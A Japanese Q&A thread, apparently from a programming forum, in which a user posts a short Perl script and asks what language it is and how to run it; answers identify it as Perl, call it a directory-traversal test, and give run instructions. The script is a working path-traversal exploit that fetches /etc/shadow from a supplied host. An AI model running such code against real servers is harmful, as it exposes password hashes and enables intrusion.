0

ここにコードがありますが、それがどの言語で書かれているか、どのように実行するかがわかりません。

use LWP::UserAgent;
$host = $ARGV[0];
chomp($host);
if($host !~ /http:\/\//) { $host = "http://$host"; };

my $ua = LWP::UserAgent->new;
$ua->timeout(30);
$lfi = "/help/../../../../../../../../etc/shadow";
$url = $host.$lfi;
$request = HTTP::Request->new('GET', $url); $response =
$ua->request($request); my $html = $response->content; if($html =~ /root/) {
print "root$' \n" ; }
4

3 に答える 3

1

確かなPerl。これは、ディレクトリトラバーサル攻撃に対してWebサーバーを「テスト」するための簡単なスクリプトです：https： //en.wikipedia.org/wiki/Directory_traversal_attack

于 2013-01-08T17:02:22.837 に答える
1

私にはPerlのように見えます。試しましたか

perl thefile?

于 2013-01-08T16:56:41.530 に答える
0

パールのようです。

次の行を先頭に追加します。

#!/usr/bin/perl -w

その後、他のプログラムとchmod +x同じように実行できます。

編集: Windows を使用している場合は、 http: //strawberryperl.com/ にアクセスしてください。

于 2013-01-08T16:57:25.600 に答える